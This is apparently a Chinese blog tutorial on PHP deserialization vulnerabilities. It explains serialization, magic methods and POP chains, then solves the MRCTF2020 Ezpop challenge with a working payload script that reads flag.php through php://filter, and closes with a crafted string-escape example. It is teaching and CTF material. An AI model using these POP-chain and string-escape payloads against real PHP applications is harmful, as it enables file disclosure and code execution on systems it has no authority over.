PHP反序列化漏洞实例深入解析

目录
  • 引文
  • 简介
  • 基础知识
    • 序列化
    • 反序列化
    • 属性
    • 魔术方法
  • POP链
    • [MRCTF2020]Ezpop
  • PHP字符串逃逸
  • 结语

引文

上一篇给大家带来了XSS跨站脚本攻击漏洞不知道大家学的咋样了,今天给大家带来另一个漏洞,PHP的反序列化漏洞,这也是我在CTF比赛中遇到过最多的也是比较考察逻辑思维的一种漏洞。

简介

PHP反序列化是一个非常常见的漏洞,利用难度相比于文件上传等漏洞相对较困难,漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。

基础知识

在了解反序列化之前先看看反序列化与序列化:

序列化

序列化就是将 对象object、string、array、变量 转换成具有一定格式的字符串,方便保持稳定的格式在文件中传输,以便还原为原来的内容。这个应该很好理解,学过JAVA反序列化的可以按照JAVA的去理解,只不过用到的函数不一样罢了,下面是一个序列化的例子:

<?php
class XINO{
    var $test = '123456';
}
$class1 = new XINO;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>

输出字符串:

O:4:"XINO":1:{s:4:"test";s:6:"123456";}

O代表存储的是对象(object),4表示有4个字符,XINO表示对象名,1表示有一个值,括号里的以此类推。

反序列化

与序列化相对应,从序列化后的结果中恢复对象(object)。用法和上面的序列化函数差不多,只是作用相反,会恢复被序列化的字符串流。函数为:unserialize。

属性

了解完序列化与反序列化,下一个要了解的我认为是php的属性,有基础的小伙伴可能会知道php的属性有:public(公有),protected(受保护)或 private(私有)。

由于变量的属性不同,序列化后的结果也会有一些细微的差异,这是要十分记住的点,也是个人在学习中经常出错的点:

public:属性被序列化的时候属性值不会更改。

protected:属性被序列化的时候属性值会变成 %00*%00属性名

private:属性被序列化的时候属性值会变成%00类名%00属性名

上面这些要牢牢记住,有时候反序列化攻击不成功也许并不是反序列化利用链不对,而是这些细微的点出错了。

魔术方法

所谓魔术方法,个人理解的是当达成某个特定条件时会自动调用的方法,而在php反序列化中,常用的魔术方法与触发条件如下:

__construct   当一个对象创建时被调用,
__destruct   当一个对象销毁时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__sleep()    使用serialize时触发
__destruct()    对象被销毁时触发
__call()    在对象上下文中调用不可访问的方法时触发
__callStatic()    在静态上下文中调用不可访问的方法时触发
__get()    用于从不可访问的属性读取数据
__set()    用于将数据写入不可访问的属性
__isset()    在不可访问的属性上调用isset()或empty()触发
__unset()     在不可访问的属性上使用unset()时触发
__toString()    把类当作字符串使用时触发,返回值需要为字符串
__invoke()   当脚本尝试将对象调用为函数时触发

比如下面代码:

<?php class TestClass {
public $foo;
public function __construct($foo) {
$this->foo = $foo;
}
public function __toString() {
return $this->foo;
}
}
$class = new TestClass('Hello');
echo $class; // 运行结果:Hello ?>

我们新定义一个了一个TestClass类,由于一个新对象被创建,触发__construct,echo该类时,对象被当作了字符串调用,于是触发__toStrng()方法,最后输出Hello。

POP链

学完上面的基础知识后,我们可以引入POP链的知识了,当注入点存在普通的类方法中,我们就不能调用方法了,所以我们需要找到普通类与魔术方法之间的联系,也就是构造POP链,理出一种逻辑思路,通过这种逻辑思路来构造一条pop链,从而达到攻击的目的。

下面给大家带来一个简单的例子:

[MRCTF2020]Ezpop

打开靶机发现网站源码:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

这是一道比较经典的POP链题目,可以正着推或者反着推,本次我们反着推,我们一步一步分析:

Modifier类

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }

可以看到有利用点include来进行文件包含,php伪协议来访问flag.php。而要想触发append函数, _invoke函数被调用时会触发include函数。

我们看TEST类,类中有 _get() 魔术方法,将this->p设为一个构造好的Modifier对象。再看看show类,其中有toString魔术方法,在一个对象被当作一个字符串使用时调用,当echo一个对象时会自动触发这个方法。返回了 $this->str->source,最后的一步是让source 等于对象,进而触发 __toString方法。

最后的构造的POP链payload为:

<?php
class Modifier {
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str = new Test();
    }
}
class Test{
    public $p;
}
$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>

运行一下得到结果:

提交就可以得到结果。

PHP字符串逃逸

学完POP链,我们进阶讲一下PHP字符串逃逸,这也是有一些难度的知识点,可以先简单理解为SQL注入,这里就简单讲讲:反序列化以;}为结束标志,后面的内容则忽略不管。假设我们构造一个序列化字符串

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

如果题目中,将flag过滤,我们的字符串会变成:

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

flag被替换为空了,字符长度不匹配就会向后读取,因为我们要构造恶意字符串去匹配。从而达到逃逸。

结语

今天比较详细的讲了PHP反序列化漏洞的原理以及应用方法,有兴趣的小伙伴可以自己去搭建靶机来进行测试,以上就是PHP反序列化漏洞实例深入解析的详细内容,更多关于PHP反序列化漏洞的资料请关注我们其它相关文章!

(0)

相关推荐

  • 详解PHP反序列化漏洞示例与原理

    目录 预备知识 PHP序列化与反序列化 序列化字符串格式 PHP魔术方法 示例 反序列化漏洞 构造函数&析构函数 CVE-2016-7124 预备知识 PHP序列化与反序列化 序列化:将一个复杂的数据类型(如对象.数组.变量等)转换为字符串表示,以便于在网络中传输和在数据库中存储.在PHP语言中使用serialize()函数实现. 反序列化:将一个序列化的字符串重新转换为一个具体的数据类型.在PHP语言中使用unserialize()函数实现. PHP对象中只有数据会被序列化,方法不会被序列化.

  • PHP开发技巧之PHAR反序列化详解

    目录 引文 前置知识 PHAR PHAR文件结构 PHAR文件生成样例 实战 结语 引文 之前将PHP反序列化的基础知识讲了一遍,不知道大家学习的怎么样了,今天给大家带来PHP反序列化的进阶知识:PHAR反序列化,也是之前本人在CTF比赛中经常遇到的一种php反序列化的进阶使用吧,下面先给大家讲一讲PHAR反序列化的前置知识. 前置知识 PHAR 在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分

  • 详解PHP反序列化漏洞的原理及示例

    目录 PHP反序列化 序列化与反序列化 PHP魔法函数 反序列化漏洞 简介 原理 触发条件 示例 PHP反序列化 序列化与反序列化 序列化说通俗点就是把一个对象变成可以传输的字符串.序列化过程中还会对不同属性的变量进行不同方式的变化 public的属性在序列化时,直接显示属性名 protected的属性在序列化时,会在属性名前增加0x00*0x00,其长度会增加3 private的属性在序列化时,会在属性名前增加0x00classname0x00,其长度会增加类名长度+2 反序列化就是把被序列化

  • 深入浅析PHP的session反序列化漏洞问题

    在php.ini中存在三项配置项: session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处

  • PHP的序列化和反序列化详情

    目录 一.PHP 为什么要反序列化? 二.PHP如何反序列化? 三.PHP反序列化漏洞 1.常用 的魔术方法 2.漏洞产生条件 3.题目 一.PHP 为什么要反序列化? PHP程序执行结束以后会将文件中的变量和内容释放掉, 如果一个程序想要的调用之前程序的变量,但是之前的程序已经执行完毕,所有的变量和内容都被释放,那该如何操作呢?这时候就可以通过序列化和反序列化保存程序中的对象,给其他程序使用. php序列化可以将对象转换成字符串,但只序列化属性,不序列化方法. 二.PHP如何反序列化? ​PH

  • PHP反序列化漏洞实例深入解析

    目录 引文 简介 基础知识 序列化 反序列化 属性 魔术方法 POP链 [MRCTF2020]Ezpop PHP字符串逃逸 结语 引文 上一篇给大家带来了XSS跨站脚本攻击漏洞不知道大家学的咋样了,今天给大家带来另一个漏洞,PHP的反序列化漏洞,这也是我在CTF比赛中遇到过最多的也是比较考察逻辑思维的一种漏洞. 简介 PHP反序列化是一个非常常见的漏洞,利用难度相比于文件上传等漏洞相对较困难,漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造

  • 单例模式的反射漏洞和反序列化漏洞代码实例

    除了枚举式单例模式外,其余4种在单例模式提到的单例模式的实现方式都存在反射漏洞和反序列化漏洞. package singleton; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; /** * 用反射和反

  • AngularJs表单验证实例代码解析

    常用的表单验证指令如下详情: 1. 必填项验证 某个表单输入是否已填写,只要在输入字段元素上添加HTML5标记required即可: <input type="text" required /> 2. 最小长度 验证表单输入的文本长度是否大于某个最小值,在输入字段上使用指令ng-minleng= "{number}": <input type="text" ng-minlength="5" /> 3.

  • JavaScript实现跑马灯抽奖活动实例代码解析与优化(一)

    最近做了个项目,其中有项目需求是要实现跑马灯抽奖效果,实现此功能主要用到js相关知识,废话不多说,感兴趣的朋友可以阅读下全文. 开始之前先来看上篇文章遗漏的两个问题和几个知识点,是自己重构的过程中需要用到的: 1.移动端1px像素线的问题 对于设计师给我的手机端网页的设计稿都是2倍图.按照道理来说,在写网页的时候,所有对象的实际尺寸都是会除2.但是对于1像素的线呢? 先来看两张图,设计稿的效果: 在三星 S4下的实际显示效果: 可以看到这个时候1px的线竟然显示不出来了.这个问题是跟 S4手机的

  • Android利用ZXing扫描二维码的实例代码解析

    相关阅读: Android开发框架之自定义ZXing二维码扫描界面并解决取景框拉伸问题 此项目源码地址:请点击这里 看一下zxing的项目结构,我这里直接拿过来用的 看一下扫码的activity: package com.fanyafeng.barcode.activity; import android.content.Intent; import android.graphics.Bitmap; import android.net.Uri; import android.os.Bundle

  • Java之Spring注解配置bean实例代码解析

    前面几篇均是使用xml配置bean,如果有上百个bean,这是不可想象的.故而,请使用注解配置bean !!! [1]注解类别 @Component : 基本注解, 标识了一个受 Spring(点击这里可以下载<Spring应用开发完全手册>) 管理的组件 @Repository : 标识持久层组件 @Service : 标识服务层(业务层)组件 @Controller : 标识表现层组件 Spring 能够从 classpath 下自动扫描, 侦测和实例化具有特定注解的组件. 对于扫描到的组

  • JavaScript实现跑马灯抽奖活动实例代码解析与优化(二)

    在上篇文章给大家介绍了JavaScript实现跑马灯抽奖活动实例代码解析与优化(一),既然是要编写插件.那么叫做"插件"的东西肯定是具有的某些特征能够满足我们平时开发的需求或者是提高我们的开发效率.那么叫做插件的东西应该具有哪些基本特征呢?让我们来总结一下: 1.JavaScript 插件一些基本特征: 配置一定要简单 插件中定义的变量不污染全局变量: 同一段代码可以在不同的地方复用: 用户可以自定义自己功能参数: 具有销毁变量和参数的功能: 如果按照以上的几个特征来写插件的话,我们可

  • PHP 序列化和反序列化函数实例详解

    序列化与反序列化 把复杂的数据类型压缩到一个字符串中 serialize() 把变量和它们的值编码成文本形式 unserialize() 恢复原先变量 1.创建一个$arr数组用于储存用户基本信息,并在浏览器中输出查看结果: $arr=array(); $arr['name']='张三'; $arr['age']='22'; $arr['sex']='男'; $arr['phone']='123456789'; $arr['address']='上海市浦东新区'; var_dump($arr):

  • jQuery动态增减行的实例代码解析(推荐)

    先给大家展示下效果图: 这是没有增加时的界面: 增加后的界面: 删除后的界面: 原因分析: 不擅长jquery和JavaScript 场景: 代码如下: <table class="table table-bordered"> <thead> <tr> <th style="width: 10px">輪次</th> <th style="width: 100%">比賽時間&l

随机推荐